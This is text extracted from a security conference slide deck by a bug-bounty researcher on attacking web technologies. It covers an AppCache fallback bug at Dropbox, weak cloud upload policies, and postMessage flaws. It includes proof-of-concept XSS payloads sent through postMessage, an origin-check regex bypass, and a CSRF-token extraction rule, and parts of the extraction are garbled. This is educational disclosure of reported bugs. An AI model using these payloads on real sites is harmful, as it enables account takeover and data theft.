Appsec Modern
Appsec Modern
Technologies
Frans Rosén @fransrosen
Attacking "Modern" Web
Technologies
Frans Rosén @fransrosen
Modern = stuff people use
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque
laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto
beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur
aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi
nesciunt.
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Frans Rosén
• "The Swedish Ninja"
• Security Advisor @detectify ( twitter: @fransrosen )
• HackerOne #7 @ /leaderboard/all-time
• Blog at labs.detectify.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Frans Rosén
• Winner of MVH at H1-702 Live Hacking in Vegas!
• Winner Team Sweden in San Francisco (Oath)
• Best bug at H1-202 in Washington (Mapbox)
• Best bug at H1-3120 in Amsterdam (Dropbox)
Attacking Modern Web Technologies
Frans Rosén @fransrosen
Rundown
AppCache
• Bug in all browsers
Upload Policies
• Weak Implementations
• Bypassing business logic
Deep dive in postMessage implementations
• The postMessage-tracker extension
• Abusing sandboxed domains
• Leaks, extraction, client-side race conditions
Attacking Modern Web Technologies
Frans Rosén @fransrosen
Rundown
AppCache
• Bug in all browsers
Upload Policies
• Weak Implementations
• Bypassing business logic
Deep dive in postMessage implementations
• The postMessage-tracker extension Tool share!
• Abusing sandboxed domains
• Leaks, extraction, client-side race conditions
AppCache – Not modern!
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque
laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto
beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur
aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi
nesciunt.
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Disclaimer
Found independently by
@filedescriptor
Announced last AppSecEU
https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=22
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
AppCache
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
AppCache
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
AppCache
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Cookie Stuffing/Bombing
Will make EVERY page return 500 Error = Manifest FALLBACK will be used
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Would use the FALLBACK for EVERYTHING, even outside the dir
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
https://www.w3.org/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
https://www.w3.org/TR/2015/WD-html51-20150506/browsers.html#concept-appcache-manifest-fallback
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
AppCache demo
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
AppCache on Dropbox
• Could run XML on dl.dropboxusercontent.com as HTML
• XML installs manifest in browser on root
• Any file downloaded from Dropbox would use the
fallback XML-HTML page, which would log the current
URL to an external logging site
AppCache on Dropbox
• Could run XML on dl.dropboxusercontent.com as HTML
• XML installs manifest in browser on root
4 5
• Any file downloaded from Dropbox would use the 2,8
fallback XML-HTML page, which would log the : $1
current
ty
URL to an external logging site un
Bo
• Every secret link would be leaked to the attacker
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Dropbox mitigations
• No more XML-HTML on dl.dropboxusercontent.com
• No more public directory for Dropbox users
• Coordinated bug reporting to every browser
• No more FALLBACK on root from path file
• Argumented for faster deprecation of AppCache
• Random subdomains for user-files
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Dropbox mitigations
• No more XML-HTML on dl.dropboxusercontent.com
• No more public directory for Dropbox users
• Coordinated bug reporting to every browser
• No more FALLBACK on root from path file
• Argumented for faster deprecation of AppCache
• Random subdomains for user-files
Chrome Fixed Edge/IE Fixed
Reported 28 Feb 2017, fixed ~June 2017
Firefox Fixed Safari Fixed
https://bugs.chromium.org/p/chromium/issues/detail?id=696806#c40
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Dropbox mitigations
• No more XML-HTML on dl.dropboxusercontent.com
• No more public directory for Dropbox users
000
• Coordinated bug reporting to every browser
: $3
• No more FALLBACK on root from path file
e s
Argumented for faster deprecation of AppCachenti
•
ou
• Random subdomains for user-files br
se
Chrome Fixed Edge/IE
ow
Fixed
r
Firefox Fixed Safari B
Fixed
Reported 28 Feb 2017, fixed ~June 2017
https://bugs.chromium.org/p/chromium/issues/detail?id=696806#c40
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Upload Policies
A way to upload files directly to a bucket, without
passing the company’s server first.
Upload Policies
A way to upload files directly to a bucket, without
passing the company’s server first.
Upload Policies
Looks like this:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Upload Policies
Policy is a signed base64 encoded JSON
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Pitfalls AWS S3
" starts-with $key does not contain anything
Pitfalls AWS S3
" starts-with $key does not contain anything
Pitfalls AWS S3
" $Content-Type uses empty starts-with + content-disp
Pitfalls AWS S3
" $Content-Type uses empty starts-with + content-disp
{"file_name":"images/test.png","content_type":"image/png"}
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
{"file_name":"images/test.png","content_type":"image/png"}
Vulnerabilities
" We can select what file to override
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Vulnerabilities
" We can select what file to override
" If signed URL allows viewing = read any file
POST /user_uploads/signed_url/ HTTP/1.1
Host: example.com
Content-Type: application/json;charset=UTF-8
{"file_name":"documents/invoice1.pdf","content_type":"application/pdf"}
{"signed_url":"https://storage.googleapis.com/uploads/documents/invoice1.pdf?
Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&
Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."}
Vulnerabilities
" We can select what file to override
" If signed URL allows viewing = read any file
POST /user_uploads/signed_url/ HTTP/1.1
000
Host: example.com
15,
$
Content-Type: application/json;charset=UTF-8
s: ~
e
{"file_name":"documents/invoice1.pdf","content_type":"application/pdf"}
nti
u
{"signed_url":"https://storage.googleapis.com/uploads/documents/invoice1.pdf?
bo
Expires=1515198382&GoogleAccessId=example%40example.iam.gserviceaccount.com&
l
Signature=dlMAFC2Gs22eP%2ByoAhwGqo0A0ijySYYtRdkaIHVUr%2FvwKfNSKkKwTTpBpyOF..."}
a
Tot
Just fetch the URL and we have the invoice
Rolling your own
policy logic sucks
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque
laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto
beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur
aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi
nesciunt.
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Result:
https://s3.amazonaws.com/example-bucket/dir/file.png?Signature..
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
https://secure.example.com/files/xx11
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
https://secure.example.com/files/xx11
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque
laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto
beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur
aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi
nesciunt.
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
b.postMessage({"JSloadScript":{"value":"data:text/javascript,alert(document.domain)"}},'*')
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Listener:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Vulnerable origin-check:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Vulnerable origin-check:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Looks harmless?
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Initiating ruleset
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Action-Rules:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Extraction-options!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
{
Trigger: "params": {
"testRules": {
"rules": [
{
"name": "xxx",
"triggers": {
"type": "Delay",
"delay": 5000
}
...
}
]
}
}
}
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
State:
...
"states": {
"type": "JSVariableExists",
"name": "ClickTaleCookieDomain",
"value": "example.com"
},
...
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
...
Action: "action": {
"actualType": "CTEventAction",
"type": "TestRuleEvent",
"dynamicEventName": {
"parts": [
{
"type": "ElementValue",
"ctSelector": {
"querySelector": ".content-wrapper script"
}
},
{
"type": "CookieValue",
"name": "csrf_token"
}
]
}
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
Payload:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Data-Extraction
CSRF-token!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Document service
ACME.COM
Create new doc
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
XSS on sandbox
usersandbox.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
usersandbox.com
ACME.COM
Create new doc
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
usersandbox.com
ACME.COM
Create new doc
usersandbox.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
usersandbox.com
ACME.COM
Create new doc
usersandbox.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
usersandbox.com ACME.COM
usersandbox.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
usersandbox.com ACME.COM
usersandbox.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Loading…
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Welcome!
Välkommen!
mpel.com
localeservice.com
Willkommen!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Welcome!
Välkommen!
link.com.example.com = OK
localeservice.com
Willkommen!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Welcome!
Välkommen!
localeservice.com
Willkommen!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Welcome!
Välkommen!
localeservice.com
Willkommen!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Welcome!
Välkommen!
Willkommen!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Attacker-site
link.com.example.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
link.com.example.com
Loading…
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Loaded JS
link.com.example.com
Loading…
setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-\'"}','*')
}, 10);
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Loaded JS
Loads mpel.js...
link.com.example.com
Loading…
setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-\'"}','*')
}, 10);
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Loaded JS
Loads mpel.js...
link.com.example.com
Welcome!
Välkommen!
localeservice.com
Willkommen!
setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-\'"}','*')
}, 10);
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
We won!
Loads mpel.js...
link.com.example.com
Welcome!
Välkommen!
localeservice.com
Willkommen!
setInterval(function() {
if(b) b.postMessage('{"sitelist":"www.example.com/
global","siteurl":"www.example.com/uk","curr":"curr=&osl=\'-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe);win
dow.alert(document.domain)})()-\'"}','*')
}, 10);
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
1st bug!
SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",
".example.com.hk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('.', '\\.');
});
var exampleDomainsRE = '^https:\/\/.*(' + escapedDomains.join('|') + ')$';
return Boolean(origin.match(exampleDomainsRE));
};
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
1st bug!
".example.co.nz".replace('.', '\\.')
"\.example.co.nz"
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
2nd bug!
SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
".example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
".example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
".example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
".example.co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
".example.com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",
".example.com.hk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('.', '\\.');
});
var exampleDomainsRE = '^https:\/\/.*(' + escapedDomains.join('|') + ')$';
return Boolean(origin.match(exampleDomainsRE));
};
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
https://en.wikipedia.org/wiki/.nz
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
2nd bug!
Boolean("https://www.exampleaco.nz".match('^https:\/
\/.*(\.example.co.nz)$'))
true
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
2nd bug!
Boolean("https://www.exampleaco.nz".match('^https:\/
\/.*(\.example.co.nz)$'))
true
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Vulnerable scenario
ilikefood.com
Subscribe!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
ilikefood.com
Subscribe!
foodpayments.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
iframe.postMessage('INIT', '*')
ilikefood.com
Subscribe!
foodpayments.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
iframe.postMessage('INIT', '*')
ilikefood.com
Subscribe!
if(e.data==INIT && originOK) {
foodpayments.com
msgTarget = event.source
msgTarget.postMessage('INIT','*')
}
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
foodpayments.com
msgTarget.postMessage('INIT','*')
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
Subscribe!
foodpayments.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
exampleaco.nz ilikefood.com
Subscribe!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
exampleaco.nz ilikefood.com
Subscribe!
foodpayments.com
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
exampleaco.nz ilikefood.com
Subscribe!
foodpayments.com
setInterval(function(){
child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*')
}, 100)
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
setInterval(function(){
child.frames[0].postMessage('["LOAD","stripe","pk_diffkey"]}’,'*')
}, 100)
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
exampleaco.nz ilikefood.com
Subscribe!
foodpayments.com
Frame loads
api.stripe.com?key=pk_diffkey…
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
exampleaco.nz ilikefood.com
Subscribe!
foodpayments.com
Pay!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
foodpayments.com
Payment failed :(
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
foodpayments.com
Payment failed :(
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker Speedbumps
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker Speedbumps
• Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic
Before:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker Speedbumps
• Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic
Before: After:
Solution: Find wrapper and jump over it. console better due to this!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker Speedbumps
• Problem 2: jQuery-wrapping, such a mess (diff btw version)
Before:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker Speedbumps
• Problem 2: jQuery-wrapping, such a mess (diff btw version)
Before: After:
postMessage-tracker Speedbumps
• Problem 3: Anonymous functions. Could not identify them at all.
Before:
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker Speedbumps
• Problem 3: Anonymous functions. Could not identify them at all.
Before: After:
postMessage-tracker released?
No :( I suck. "Soon"?
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker released?
No :( I suck. "Soon"?
Want to complete more features!
Attacking Modern Web Technologies
Author name her
Frans Rosén @fransrosen
postMessage-tracker released?
No :( I suck. "Soon"?
Want to complete more features!
• Trigger debugger to breakpoint messages (since we own the order)
• Try to see if .origin is being used and how
• If regex, run through Rex!
detectify That’s it!